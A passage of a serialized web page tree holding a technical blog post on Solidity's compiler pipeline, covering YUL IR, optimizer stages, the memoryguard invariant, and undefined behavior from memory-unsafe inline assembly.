",{"type":23,"tag":458,"props":29087,"children":29090},{"href":29088,"rel":29089},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libsolidity/interface/CompilerStack.cpp#L684",[462],[29091],{"type":28,"value":29092},"in two main steps",{"type":28,"value":1474},{"type":23,"tag":5436,"props":29095,"children":29096},{},[29097,29102],{"type":23,"tag":421,"props":29098,"children":29099},{},[29100],{"type":28,"value":29101},"Solidity to YUL IR",{"type":23,"tag":421,"props":29103,"children":29104},{},[29105],{"type":28,"value":29106},"YUL IR to EVM opcodes",{"type":23,"tag":31,"props":29108,"children":29110},{"className":356,"code":29109,"language":355,"meta":7,"style":7},"    if (m_viaIR || m_generateIR || m_generateEwasm)\n        generateIR(*contract);\n    if (m_generateEvmBytecode)\n    {\n        if (m_viaIR)\n            generateEVMFromIR(*contract);\n        else\n            compileContract(*contract, otherCompilers);\n    }\n",[29111],{"type":23,"tag":37,"props":29112,"children":29113},{"__ignoreMap":7},[29114,29144,29165,29177,29184,29196,29216,29224,29245],{"type":23,"tag":41,"props":29115,"children":29116},{"class":43,"line":44},[29117,29121,29126,29130,29135,29139],{"type":23,"tag":41,"props":29118,"children":29119},{"style":58},[29120],{"type":28,"value":2440},{"type":23,"tag":41,"props":29122,"children":29123},{"style":70},[29124],{"type":28,"value":29125}," (m_viaIR ",{"type":23,"tag":41,"props":29127,"children":29128},{"style":170},[29129],{"type":28,"value":22405},{"type":23,"tag":41,"props":29131,"children":29132},{"style":70},[29133],{"type":28,"value":29134}," m_generateIR ",{"type":23,"tag":41,"props":29136,"children":29137},{"style":170},[29138],{"type":28,"value":22405},{"type":23,"tag":41,"props":29140,"children":29141},{"style":70},[29142],{"type":28,"value":29143}," m_generateEwasm)\n",{"type":23,"tag":41,"props":29145,"children":29146},{"class":43,"line":54},[29147,29152,29156,29160],{"type":23,"tag":41,"props":29148,"children":29149},{"style":114},[29150],{"type":28,"value":29151},"        generateIR",{"type":23,"tag":41,"props":29153,"children":29154},{"style":70},[29155],{"type":28,"value":1737},{"type":23,"tag":41,"props":29157,"children":29158},{"style":170},[29159],{"type":28,"value":377},{"type":23,"tag":41,"props":29161,"children":29162},{"style":70},[29163],{"type":28,"value":29164},"contract);\n",{"type":23,"tag":41,"props":29166,"children":29167},{"class":43,"line":76},[29168,29172],{"type":23,"tag":41,"props":29169,"children":29170},{"style":58},[29171],{"type":28,"value":2440},{"type":23,"tag":41,"props":29173,"children":29174},{"style":70},[29175],{"type":28,"value":29176}," (m_generateEvmBytecode)\n",{"type":23,"tag":41,"props":29178,"children":29179},{"class":43,"line":85},[29180],{"type":23,"tag":41,"props":29181,"children":29182},{"style":70},[29183],{"type":28,"value":1711},{"type":23,"tag":41,"props":29185,"children":29186},{"class":43,"line":105},[29187,29191],{"type":23,"tag":41,"props":29188,"children":29189},{"style":58},[29190],{"type":28,"value":3272},{"type":23,"tag":41,"props":29192,"children":29193},{"style":70},[29194],{"type":28,"value":29195}," (m_viaIR)\n",{"type":23,"tag":41,"props":29197,"children":29198},{"class":43,"line":155},[29199,29204,29208,29212],{"type":23,"tag":41,"props":29200,"children":29201},{"style":114},[29202],{"type":28,"value":29203},"            generateEVMFromIR",{"type":23,"tag":41,"props":29205,"children":29206},{"style":70},[29207],{"type":28,"value":1737},{"type":23,"tag":41,"props":29209,"children":29210},{"style":170},[29211],{"type":28,"value":377},{"type":23,"tag":41,"props":29213,"children":29214},{"style":70},[29215],{"type":28,"value":29164},{"type":23,"tag":41,"props":29217,"children":29218},{"class":43,"line":186},[29219],{"type":23,"tag":41,"props":29220,"children":29221},{"style":58},[29222],{"type":28,"value":29223},"        else\n",{"type":23,"tag":41,"props":29225,"children":29226},{"class":43,"line":195},[29227,29232,29236,29240],{"type":23,"tag":41,"props":29228,"children":29229},{"style":114},[29230],{"type":28,"value":29231},"            compileContract",{"type":23,"tag":41,"props":29233,"children":29234},{"style":70},[29235],{"type":28,"value":1737},{"type":23,"tag":41,"props":29237,"children":29238},{"style":170},[29239],{"type":28,"value":377},{"type":23,"tag":41,"props":29241,"children":29242},{"style":70},[29243],{"type":28,"value":29244},"contract, otherCompilers);\n",{"type":23,"tag":41,"props":29246,"children":29247},{"class":43,"line":905},[29248],{"type":23,"tag":41,"props":29249,"children":29250},{"style":70},[29251],{"type":28,"value":192},{"type":23,"tag":24,"props":29253,"children":29254},{},[29255,29257,29264,29265,29272],{"type":28,"value":29256},"Each step applies its own set of optimizations. The entrypoints are located at ",{"type":23,"tag":458,"props":29258,"children":29261},{"href":29259,"rel":29260},"https://github.com/ethereum/solidity/blob/fd9ac9abed2049a4b8134d39e178275c8aad75b6/libyul/YulStack.cpp#L92",[462],[29262],{"type":28,"value":29263},"YulStack::optimize",{"type":28,"value":1361},{"type":23,"tag":458,"props":29266,"children":29269},{"href":29267,"rel":29268},"https://github.com/ethereum/solidity/blob/4a8d6618f5b398077f694835905f93d0a3890289/libevmasm/Assembly.cpp#L336",[462],[29270],{"type":28,"value":29271},"Assembly::optimize",{"type":28,"value":706},{"type":23,"tag":24,"props":29274,"children":29275},{},[29276],{"type":28,"value":29277},"In total, there are four steps.",{"type":23,"tag":5436,"props":29279,"children":29280},{},[29281,29285,29290,29294],{"type":23,"tag":421,"props":29282,"children":29283},{},[29284],{"type":28,"value":29101},{"type":23,"tag":421,"props":29286,"children":29287},{},[29288],{"type":28,"value":29289},"Optimization of YUL IR",{"type":23,"tag":421,"props":29291,"children":29292},{},[29293],{"type":28,"value":29106},{"type":23,"tag":421,"props":29295,"children":29296},{},[29297],{"type":28,"value":29298},"Optimization of EVM opcodes",{"type":23,"tag":24,"props":29300,"children":29301},{},[29302],{"type":28,"value":29303},"As mentioned in the v0.8.13 release post, the YUL optimizer is able to perform much more complex optimizations. Compared to Solidity, YUL contains detailed semantic information and is simpler for optimization passes to reason about than opcodes.",{"type":23,"tag":518,"props":29305,"children":29306},{},[29307],{"type":23,"tag":24,"props":29308,"children":29309},{},[29310],{"type":28,"value":29311},"The performance of the new pipeline is not yet always superior to the old one, but it can do much higher-level optimization across functions, so please try it out and give us feedback!",{"type":23,"tag":24,"props":29313,"children":29314},{},[29315],{"type":28,"value":29316},"Importantly, each step happens in isolation and retains no information about the previous stage.",{"type":23,"tag":24,"props":29318,"children":29319},{},[29320],{"type":28,"value":29321},"The optimizer cannot change the behavior of the generated IR. This means we don't need to worry about potentially tricky optimizations such as reordering of functions, removal of unused assigns, or moving stack variables to memory.",{"type":23,"tag":24,"props":29323,"children":29324},{},[29325],{"type":28,"value":29326},"When it comes to safety, we need only to consider the IR generation. But what exactly are the guarantees here?",{"type":23,"tag":446,"props":29328,"children":29330},{"id":29329},"guarantees",[29331],{"type":28,"value":29332},"Guarantees",{"type":23,"tag":24,"props":29334,"children":29335},{},[29336,29337,29344,29346,29351],{"type":28,"value":16601},{"type":23,"tag":458,"props":29338,"children":29341},{"href":29339,"rel":29340},"https://docs.soliditylang.org/en/v0.8.20/internals/layout_in_memory.html",[462],[29342],{"type":28,"value":29343},"Solidity memory layout",{"type":28,"value":29345}," exists only at the time of YUL IR generation. The YUL optimizer and later steps has ",{"type":23,"tag":2913,"props":29347,"children":29348},{},[29349],{"type":28,"value":29350},"no information about this layout",{"type":28,"value":706},{"type":23,"tag":24,"props":29353,"children":29354},{},[29355],{"type":28,"value":29356},"What if the optimizer wants to use memory for optimization passes? How does it know what slots are used by the IR generator?",{"type":23,"tag":24,"props":29358,"children":29359},{},[29360,29362,29368,29370,29376],{"type":28,"value":29361},"Introducing ",{"type":23,"tag":37,"props":29363,"children":29365},{"className":29364},[],[29366],{"type":28,"value":29367},"memoryguard",{"type":28,"value":29369},". If you've ever looked at the output of ",{"type":23,"tag":37,"props":29371,"children":29373},{"className":29372},[],[29374],{"type":28,"value":29375},"solc --ir",{"type":28,"value":29377},", this call may be familiar. It's used to initialize the free-memory pointer.",{"type":23,"tag":31,"props":29379,"children":29381},{"className":34,"code":29380,"language":16,"meta":7,"style":7},"    /// @src 0:26:371  \"contract XXX {...\"\n    store(64, memoryguard(0x80))\n",[29382],{"type":23,"tag":37,"props":29383,"children":29384},{"__ignoreMap":7},[29385,29403],{"type":23,"tag":41,"props":29386,"children":29387},{"class":43,"line":44},[29388,29393,29398],{"type":23,"tag":41,"props":29389,"children":29390},{"style":48},[29391],{"type":28,"value":29392},"    /// @src 0:26:371  \"contract ",{"type":23,"tag":41,"props":29394,"children":29395},{"style":64},[29396],{"type":28,"value":29397},"XXX",{"type":23,"tag":41,"props":29399,"children":29400},{"style":48},[29401],{"type":28,"value":29402}," {...\"\n",{"type":23,"tag":41,"props":29404,"children":29405},{"class":43,"line":54},[29406,29411,29415,29420,29424,29428,29432,29437],{"type":23,"tag":41,"props":29407,"children":29408},{"style":114},[29409],{"type":28,"value":29410},"    store",{"type":23,"tag":41,"props":29412,"children":29413},{"style":70},[29414],{"type":28,"value":1737},{"type":23,"tag":41,"props":29416,"children":29417},{"style":164},[29418],{"type":28,"value":29419},"64",{"type":23,"tag":41,"props":29421,"children":29422},{"style":70},[29423],{"type":28,"value":970},{"type":23,"tag":41,"props":29425,"children":29426},{"style":114},[29427],{"type":28,"value":29367},{"type":23,"tag":41,"props":29429,"children":29430},{"style":70},[29431],{"type":28,"value":1737},{"type":23,"tag":41,"props":29433,"children":29434},{"style":164},[29435],{"type":28,"value":29436},"0x80",{"type":23,"tag":41,"props":29438,"children":29439},{"style":70},[29440],{"type":28,"value":19700},{"type":23,"tag":24,"props":29442,"children":29443},{},[29444,29446,29453],{"type":28,"value":29445},"From ",{"type":23,"tag":458,"props":29447,"children":29450},{"href":29448,"rel":29449},"https://solidity.readthedocs.io/en/latest/yul.html#memoryguard",[462],[29451],{"type":28,"value":29452},"the documentation",{"type":28,"value":4127},{"type":23,"tag":518,"props":29455,"children":29456},{},[29457],{"type":23,"tag":24,"props":29458,"children":29459},{},[29460,29462,29468,29470,29476,29478,29483],{"type":28,"value":29461},"The caller of ",{"type":23,"tag":37,"props":29463,"children":29465},{"className":29464},[],[29466],{"type":28,"value":29467},"let ptr := memoryguard(size)",{"type":28,"value":29469}," (where size has to be a literal number) promises that they only use memory in either the range ",{"type":23,"tag":37,"props":29471,"children":29473},{"className":29472},[],[29474],{"type":28,"value":29475},"[0, size)",{"type":28,"value":29477}," or the unbounded range starting at ",{"type":23,"tag":37,"props":29479,"children":29481},{"className":29480},[],[29482],{"type":28,"value":13943},{"type":28,"value":706},{"type":23,"tag":24,"props":29485,"children":29486},{},[29487,29489,29494,29496,29502],{"type":28,"value":29488},"For example, if the YUL optimizer needs 32 bytes of memory, it can have ",{"type":23,"tag":37,"props":29490,"children":29492},{"className":29491},[],[29493],{"type":28,"value":29367},{"type":28,"value":29495}," return ",{"type":23,"tag":37,"props":29497,"children":29499},{"className":29498},[],[29500],{"type":28,"value":29501},"size + 32",{"type":28,"value":29503},". The optimizer gets a guaranteed region of memory which will not be touched!",{"type":23,"tag":24,"props":29505,"children":29506},{},[29507,29509,29516,29518,29523,29525,29530],{"type":28,"value":29508},"An example of this optimization in practice ",{"type":23,"tag":458,"props":29510,"children":29513},{"href":29511,"rel":29512},"https://github.com/ethereum/solidity/blob/1633e367c90aed7a6a14d84e2c288e6a8ab93304/libyul/optimiser/StackLimitEvader.cpp",[462],[29514],{"type":28,"value":29515},"is the StackLimitEvader",{"type":28,"value":29517},", which moves variables from the stack into memory. Incidentally, this is also currently the ",{"type":23,"tag":2913,"props":29519,"children":29520},{},[29521],{"type":28,"value":29522},"only",{"type":28,"value":29524}," optimization pass that relies on the semantic information communicated by ",{"type":23,"tag":37,"props":29526,"children":29528},{"className":29527},[],[29529],{"type":28,"value":29367},{"type":28,"value":706},{"type":23,"tag":24,"props":29532,"children":29533},{},[29534],{"type":28,"value":29535},"The modular design between different compiler stages also means that we're not tied down into any particular memory layout. Does it make sense to waste an entire memory word on the free memory pointer? Maybe not for some applications.",{"type":23,"tag":24,"props":29537,"children":29538},{},[29539,29541,29547],{"type":28,"value":29540},"Fear not, for we can remove this pointer entirely and call ",{"type":23,"tag":37,"props":29542,"children":29544},{"className":29543},[],[29545],{"type":28,"value":29546},"memoryguard(0x60)",{"type":28,"value":29548}," instead. The rest of the pipeline will still work.",{"type":23,"tag":446,"props":29550,"children":29551},{"id":29063},[29552],{"type":28,"value":29553},"Memory Safety",{"type":23,"tag":24,"props":29555,"children":29556},{},[29557],{"type":28,"value":29558},"So what does memory safety mean?",{"type":23,"tag":24,"props":29560,"children":29561},{},[29562,29564,29570],{"type":28,"value":29563},"The Solidity documentation provides ",{"type":23,"tag":458,"props":29565,"children":29567},{"href":29038,"rel":29566},[462],[29568],{"type":28,"value":29569},"a set of constraints",{"type":28,"value":29571},", not a definition.",{"type":23,"tag":518,"props":29573,"children":29574},{},[29575,29580],{"type":23,"tag":24,"props":29576,"children":29577},{},[29578],{"type":28,"value":29579},"In particular, a memory-safe assembly block may only access the following memory ranges:",{"type":23,"tag":5436,"props":29581,"children":29582},{},[29583,29588,29593,29598],{"type":23,"tag":421,"props":29584,"children":29585},{},[29586],{"type":28,"value":29587},"Memory allocated by yourself using a mechanism like the allocate function described above.",{"type":23,"tag":421,"props":29589,"children":29590},{},[29591],{"type":28,"value":29592},"Memory allocated by Solidity, e.g. memory within the bounds of a memory array you reference.",{"type":23,"tag":421,"props":29594,"children":29595},{},[29596],{"type":28,"value":29597},"The scratch space between memory offset 0 and 64 mentioned above.",{"type":23,"tag":421,"props":29599,"children":29600},{},[29601],{"type":28,"value":29602},"Temporary memory that is located after the value of the free memory pointer at the beginning of the assembly\nblock, i.e. memory that is “allocated” at the free memory pointer without updating the free memory pointer.",{"type":23,"tag":24,"props":29604,"children":29605},{},[29606,29608,29615,29625],{"type":28,"value":29607},"Looking to the compiler, it appears the presence of memory-unsafe assembly ",{"type":23,"tag":458,"props":29609,"children":29612},{"href":29610,"rel":29611},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGenerator.cpp#L210",[462],[29613],{"type":28,"value":29614},"removes the memory guard",{"type":23,"tag":15465,"props":29616,"children":29617},{},[29618],{"type":23,"tag":458,"props":29619,"children":29623},{"href":29620,"ariaDescribedBy":29621,"dataFootnoteRef":7,"id":29622},"#user-content-fn-1",[15472],"user-content-fnref-1",[29624],{"type":28,"value":317},{"type":28,"value":706},{"type":23,"tag":31,"props":29627,"children":29629},{"className":356,"code":29628,"language":355,"meta":7,"style":7},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n\nstring IRGenerator::memoryInit(bool _useMemoryGuard)\n{\n // This function should be called at the beginning of the EVM call frame\n // and thus can assume all memory to be zero, including the contents of\n // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n return\n  Whiskers{\n   _useMemoryGuard ?\n   \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\" :\n   \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n  }\n",[29630],{"type":23,"tag":37,"props":29631,"children":29632},{"__ignoreMap":7},[29633,29641,29649,29656,29691,29698,29706,29714,29722,29730,29738,29751,29764,29772],{"type":23,"tag":41,"props":29634,"children":29635},{"class":43,"line":44},[29636],{"type":23,"tag":41,"props":29637,"children":29638},{"style":48},[29639],{"type":28,"value":29640},"// bool creationInvolvesMemoryUnsafeAssembly = m_context.memoryUnsafeInlineAssemblySeen();\n",{"type":23,"tag":41,"props":29642,"children":29643},{"class":43,"line":54},[29644],{"type":23,"tag":41,"props":29645,"children":29646},{"style":48},[29647],{"type":28,"value":29648},"// t(\"memoryInitCreation\", memoryInit(!creationInvolvesMemoryUnsafeAssembly));\n",{"type":23,"tag":41,"props":29650,"children":29651},{"class":43,"line":76},[29652],{"type":23,"tag":41,"props":29653,"children":29654},{"emptyLinePlaceholder":18},[29655],{"type":28,"value":82},{"type":23,"tag":41,"props":29657,"children":29658},{"class":43,"line":85},[29659,29664,29669,29674,29678,29682,29687],{"type":23,"tag":41,"props":29660,"children":29661},{"style":94},[29662],{"type":28,"value":29663},"string",{"type":23,"tag":41,"props":29665,"children":29666},{"style":70},[29667],{"type":28,"value":29668}," IRGenerator::",{"type":23,"tag":41,"props":29670,"children":29671},{"style":114},[29672],{"type":28,"value":29673},"memoryInit",{"type":23,"tag":41,"props":29675,"children":29676},{"style":70},[29677],{"type":28,"value":1737},{"type":23,"tag":41,"props":29679,"children":29680},{"style":64},[29681],{"type":28,"value":991},{"type":23,"tag":41,"props":29683,"children":29684},{"style":858},[29685],{"type":28,"value":29686}," _useMemoryGuard",{"type":23,"tag":41,"props":29688,"children":29689},{"style":70},[29690],{"type":28,"value":1969},{"type":23,"tag":41,"props":29692,"children":29693},{"class":43,"line":105},[29694],{"type":23,"tag":41,"props":29695,"children":29696},{"style":70},[29697],{"type":28,"value":1559},{"type":23,"tag":41,"props":29699,"children":29700},{"class":43,"line":155},[29701],{"type":23,"tag":41,"props":29702,"children":29703},{"style":48},[29704],{"type":28,"value":29705}," // This function should be called at the beginning of the EVM call frame\n",{"type":23,"tag":41,"props":29707,"children":29708},{"class":43,"line":186},[29709],{"type":23,"tag":41,"props":29710,"children":29711},{"style":48},[29712],{"type":28,"value":29713}," // and thus can assume all memory to be zero, including the contents of\n",{"type":23,"tag":41,"props":29715,"children":29716},{"class":43,"line":195},[29717],{"type":23,"tag":41,"props":29718,"children":29719},{"style":48},[29720],{"type":28,"value":29721}," // the \"zero memory area\" (the position CompilerUtils::zeroPointer points to).\n",{"type":23,"tag":41,"props":29723,"children":29724},{"class":43,"line":905},[29725],{"type":23,"tag":41,"props":29726,"children":29727},{"style":58},[29728],{"type":28,"value":29729}," return\n",{"type":23,"tag":41,"props":29731,"children":29732},{"class":43,"line":922},[29733],{"type":23,"tag":41,"props":29734,"children":29735},{"style":70},[29736],{"type":28,"value":29737},"  Whiskers{\n",{"type":23,"tag":41,"props":29739,"children":29740},{"class":43,"line":930},[29741,29746],{"type":23,"tag":41,"props":29742,"children":29743},{"style":70},[29744],{"type":28,"value":29745},"   _useMemoryGuard ",{"type":23,"tag":41,"props":29747,"children":29748},{"style":170},[29749],{"type":28,"value":29750},"?\n",{"type":23,"tag":41,"props":29752,"children":29753},{"class":43,"line":939},[29754,29759],{"type":23,"tag":41,"props":29755,"children":29756},{"style":735},[29757],{"type":28,"value":29758},"   \"mstore(\u003CmemPtr>, memoryguard(\u003CfreeMemoryStart>))\"",{"type":23,"tag":41,"props":29760,"children":29761},{"style":170},[29762],{"type":28,"value":29763}," :\n",{"type":23,"tag":41,"props":29765,"children":29766},{"class":43,"line":947},[29767],{"type":23,"tag":41,"props":29768,"children":29769},{"style":735},[29770],{"type":28,"value":29771},"   \"mstore(\u003CmemPtr>, \u003CfreeMemoryStart>)\"\n",{"type":23,"tag":41,"props":29773,"children":29774},{"class":43,"line":985},[29775],{"type":23,"tag":41,"props":29776,"children":29777},{"style":70},[29778],{"type":28,"value":5872},{"type":23,"tag":24,"props":29780,"children":29781},{},[29782,29787,29789,29795],{"type":23,"tag":37,"props":29783,"children":29785},{"className":29784},[],[29786],{"type":28,"value":29375},{"type":28,"value":29788}," will now no longer have ",{"type":23,"tag":37,"props":29790,"children":29792},{"className":29791},[],[29793],{"type":28,"value":29794},"memoryguard(0x80)",{"type":28,"value":29796}," as expected.",{"type":23,"tag":31,"props":29798,"children":29800},{"className":34,"code":29799,"language":16,"meta":7,"style":7},"    /// @src 0:26:371  \"contract XXX {...\"\n    mstore(64, 128)\n",[29801],{"type":23,"tag":37,"props":29802,"children":29803},{"__ignoreMap":7},[29804,29819],{"type":23,"tag":41,"props":29805,"children":29806},{"class":43,"line":44},[29807,29811,29815],{"type":23,"tag":41,"props":29808,"children":29809},{"style":48},[29810],{"type":28,"value":29392},{"type":23,"tag":41,"props":29812,"children":29813},{"style":64},[29814],{"type":28,"value":29397},{"type":23,"tag":41,"props":29816,"children":29817},{"style":48},[29818],{"type":28,"value":29402},{"type":23,"tag":41,"props":29820,"children":29821},{"class":43,"line":54},[29822,29827,29831,29835,29839,29844],{"type":23,"tag":41,"props":29823,"children":29824},{"style":114},[29825],{"type":28,"value":29826},"    mstore",{"type":23,"tag":41,"props":29828,"children":29829},{"style":70},[29830],{"type":28,"value":1737},{"type":23,"tag":41,"props":29832,"children":29833},{"style":164},[29834],{"type":28,"value":29419},{"type":23,"tag":41,"props":29836,"children":29837},{"style":70},[29838],{"type":28,"value":970},{"type":23,"tag":41,"props":29840,"children":29841},{"style":164},[29842],{"type":28,"value":29843},"128",{"type":23,"tag":41,"props":29845,"children":29846},{"style":70},[29847],{"type":28,"value":1969},{"type":23,"tag":24,"props":29849,"children":29850},{},[29851,29853,29858,29860,29865],{"type":28,"value":29852},"Semantically, the absence of ",{"type":23,"tag":37,"props":29854,"children":29856},{"className":29855},[],[29857],{"type":28,"value":29367},{"type":28,"value":29859}," means that the IR generator is telling the optimizer that it cannot guarantee the ",{"type":23,"tag":37,"props":29861,"children":29863},{"className":29862},[],[29864],{"type":28,"value":29367},{"type":28,"value":29866}," invariant.",{"type":23,"tag":518,"props":29868,"children":29869},{},[29870],{"type":23,"tag":24,"props":29871,"children":29872},{},[29873,29874,29879,29880,29885,29886,29891],{"type":28,"value":29461},{"type":23,"tag":37,"props":29875,"children":29877},{"className":29876},[],[29878],{"type":28,"value":29467},{"type":28,"value":29469},{"type":23,"tag":37,"props":29881,"children":29883},{"className":29882},[],[29884],{"type":28,"value":29475},{"type":28,"value":29477},{"type":23,"tag":37,"props":29887,"children":29889},{"className":29888},[],[29890],{"type":28,"value":13943},{"type":28,"value":706},{"type":23,"tag":24,"props":29893,"children":29894},{},[29895],{"type":28,"value":29896},"This makes sense. Without stricter guarantees by the programmer, memory-unsafe assembly can touch memory anywhere it wants. Because the optimizer no longer has this guarantee, it cannot use memory in any of its optimization passes.",{"type":23,"tag":446,"props":29898,"children":29900},{"id":29899},"undefined-behavior",[29901],{"type":28,"value":29902},"Undefined Behavior",{"type":23,"tag":24,"props":29904,"children":29905},{},[29906,29908,29913,29915,29920,29922,29928],{"type":28,"value":29907},"How strict is memory safety? When it comes to ",{"type":23,"tag":37,"props":29909,"children":29911},{"className":29910},[],[29912],{"type":28,"value":29367},{"type":28,"value":29914},", only touching memory after 0x80 seems to matter. Is ",{"type":23,"tag":37,"props":29916,"children":29918},{"className":29917},[],[29919],{"type":28,"value":29028},{"type":28,"value":29921}," annotated assembly that touches memory at ",{"type":23,"tag":37,"props":29923,"children":29925},{"className":29924},[],[29926],{"type":28,"value":29927},"[0x40, 0x7f]",{"type":28,"value":29929}," really safe?",{"type":23,"tag":24,"props":29931,"children":29932},{},[29933,29934,29941,29943,29948],{"type":28,"value":16601},{"type":23,"tag":458,"props":29935,"children":29938},{"href":29936,"rel":29937},"https://buildmedia.readthedocs.org/media/pdf/solidity/develop/solidity.pdf",[462],[29939],{"type":28,"value":29940},"Solidity documentation",{"type":28,"value":29942}," mentions ",{"type":23,"tag":2913,"props":29944,"children":29945},{},[29946],{"type":28,"value":29947},"undefined behavior",{"type":28,"value":29949}," three times.",{"type":23,"tag":5436,"props":29951,"children":29952},{},[29953,29958,29973],{"type":23,"tag":421,"props":29954,"children":29955},{},[29956],{"type":28,"value":29957},"The existence of a dangling reference",{"type":23,"tag":421,"props":29959,"children":29960},{},[29961,29963],{"type":28,"value":29962},"Using verbatim improperly",{"type":23,"tag":15465,"props":29964,"children":29965},{},[29966],{"type":23,"tag":458,"props":29967,"children":29971},{"href":29968,"ariaDescribedBy":29969,"dataFootnoteRef":7,"id":29970},"#user-content-fn-2",[15472],"user-content-fnref-2",[29972],{"type":28,"value":3123},{"type":23,"tag":421,"props":29974,"children":29975},{},[29976],{"type":28,"value":29977},"Violating the memory model with in-line assembly marked as \"memory-safe\".",{"type":23,"tag":24,"props":29979,"children":29980},{},[29981],{"type":28,"value":29982},"Why does this matter?",{"type":23,"tag":24,"props":29984,"children":29985},{},[29986,29988,29995,29997,30004],{"type":28,"value":29987},"Assumptions about the program code can enable powerful optimizations - that's why ",{"type":23,"tag":458,"props":29989,"children":29992},{"href":29990,"rel":29991},"https://kristerw.blogspot.com/2016/02/how-undefined-signed-overflow-enables.html",[462],[29993],{"type":28,"value":29994},"signed integer overflow is undefined",{"type":28,"value":29996},". Strictly following the compiler model is critical. Undefined behavior materializes as tricky bugs ",{"type":23,"tag":458,"props":29998,"children":30001},{"href":29999,"rel":30000},"https://blog.regehr.org/archives/1307",[462],[30002],{"type":28,"value":30003},"years down the line",{"type":28,"value":706},{"type":23,"tag":24,"props":30006,"children":30007},{},[30008,30010,30017,30018,30023],{"type":28,"value":30009},"Going back to Solidity, the specification makes ",{"type":23,"tag":458,"props":30011,"children":30014},{"href":30012,"rel":30013},"https://docs.soliditylang.org/en/latest/internals/layout_in_memory.html",[462],[30015],{"type":28,"value":30016},"it unambiguously clear",{"type":28,"value":18520},{"type":23,"tag":2913,"props":30019,"children":30020},{},[30021],{"type":28,"value":30022},"Thou shalt not modify the zero slot",{"type":28,"value":706},{"type":23,"tag":518,"props":30025,"children":30026},{},[30027],{"type":23,"tag":24,"props":30028,"children":30029},{},[30030],{"type":28,"value":30031},"The zero slot is used as initial value for dynamic memory arrays and should never be written to (the free memory pointer points to 0x80 initially).",{"type":23,"tag":24,"props":30033,"children":30034},{},[30035,30037,30042],{"type":28,"value":30036},"Any code that touches the zero slot at 0x60 is very clearly violating the specification. Does this matter though? This is where the semantics between Solidity and YUL gets tricky. Recall that the zero slot is a construction ",{"type":23,"tag":2913,"props":30038,"children":30039},{},[30040],{"type":28,"value":30041},"in Solidity",{"type":28,"value":706},{"type":23,"tag":24,"props":30044,"children":30045},{},[30046],{"type":28,"value":30047},"Even though there's no explicit guarantee that inline assembly will be emitted verbatim during generation",{"type":23,"tag":5436,"props":30049,"children":30050},{},[30051],{"type":23,"tag":421,"props":30052,"children":30053},{},[30054,30056,30063],{"type":28,"value":30055},"It very clearly ",{"type":23,"tag":458,"props":30057,"children":30060},{"href":30058,"rel":30059},"https://github.com/ethereum/solidity/blob/a297a687261a1c634551b1dac0e36d4573c19afe/libsolidity/codegen/ir/IRGeneratorForStatements.cpp#L2216",[462],[30061],{"type":28,"value":30062},"holds true today",{"type":28,"value":706},{"type":23,"tag":31,"props":30065,"children":30067},{"className":356,"code":30066,"language":355,"meta":7,"style":7},"bool IRGeneratorForStatements::visit(InlineAssembly const& _inlineAsm)\n{\n    setLocation(_inlineAsm);\n    if (*_inlineAsm.annotation().hasMemoryEffects && !_inlineAsm.annotation().markedMemorySafe)\n        m_context.setMemoryUnsafeInlineAssemblySeen();\n    CopyTranslate bodyCopier{_inlineAsm.dialect(), m_context, _inlineAsm.annotation().externalReferences};\n\n    yul::Statement modified = bodyCopier(_inlineAsm.operations());`\n",[30068],{"type":23,"tag":37,"props":30069,"children":30070},{"__ignoreMap":7},[30071,30111,30118,30131,30201,30222,30273,30280],{"type":23,"tag":41,"props":30072,"children":30073},{"class":43,"line":44},[30074,30078,30083,30088,30092,30097,30102,30107],{"type":23,"tag":41,"props":30075,"children":30076},{"style":64},[30077],{"type":28,"value":991},{"type":23,"tag":41,"props":30079,"children":30080},{"style":70},[30081],{"type":28,"value":30082}," IRGeneratorForStatements::",{"type":23,"tag":41,"props":30084,"children":30085},{"style":114},[30086],{"type":28,"value":30087},"visit",{"type":23,"tag":41,"props":30089,"children":30090},{"style":70},[30091],{"type":28,"value":1737},{"type":23,"tag":41,"props":30093,"children":30094},{"style":94},[30095],{"type":28,"value":30096},"InlineAssembly",{"type":23,"tag":41,"props":30098,"children":30099},{"style":64},[30100],{"type":28,"value":30101}," const&",{"type":23,"tag":41,"props":30103,"children":30104},{"style":858},[30105],{"type":28,"value":30106}," _inlineAsm",{"type":23,"tag":41,"props":30108,"children":30109},{"style":70},[30110],{"type":28,"value":1969},{"type":23,"tag":41,"props":30112,"children":30113},{"class":43,"line":54},[30114],{"type":23,"tag":41,"props":30115,"children":30116},{"style":70},[30117],{"type":28,"value":1559},{"type":23,"tag":41,"props":30119,"children":30120},{"class":43,"line":76},[30121,30126],{"type":23,"tag":41,"props":30122,"children":30123},{"style":114},[30124],{"type":28,"value":30125},"    setLocation",{"type":23,"tag":41,"props":30127,"children":30128},{"style":70},[30129],{"type":28,"value":30130},"(_inlineAsm);\n",{"type":23,"tag":41,"props":30132,"children":30133},{"class":43,"line":85},[30134,30138,30142,30146,30151,30155,30159,30163,30168,30172,30176,30180,30184,30188,30192,30197],{"type":23,"tag":41,"props":30135,"children":30136},{"style":58},[30137],{"type":28,"value":2440},{"type":23,"tag":41,"props":30139,"children":30140},{"style":70},[30141],{"type":28,"value":142},{"type":23,"tag":41,"props":30143,"children":30144},{"style":170},[30145],{"type":28,"value":377},{"type":23,"tag":41,"props":30147,"children":30148},{"style":858},[30149],{"type":28,"value":30150},"_inlineAsm",{"type":23,"tag":41,"props":30152,"children":30153},{"style":70},[30154],{"type":28,"value":706},{"type":23,"tag":41,"props":30156,"children":30157},{"style":114},[30158],{"type":28,"value":2458},{"type":23,"tag":41,"props":30160,"children":30161},{"style":70},[30162],{"type":28,"value":2463},{"type":23,"tag":41,"props":30164,"children":30165},{"style":858},[30166],{"type":28,"value":30167},"hasMemoryEffects",{"type":23,"tag":41,"props":30169,"children":30170},{"style":170},[30171],{"type":28,"value":2472},{"type":23,"tag":41,"props":30173,"children":30174},{"style":170},[30175],{"type":28,"value":12859},{"type":23,"tag":41,"props":30177,"children":30178},{"style":858},[30179],{"type":28,"value":30150},{"type":23,"tag":41,"props":30181,"children":30182},{"style":70},[301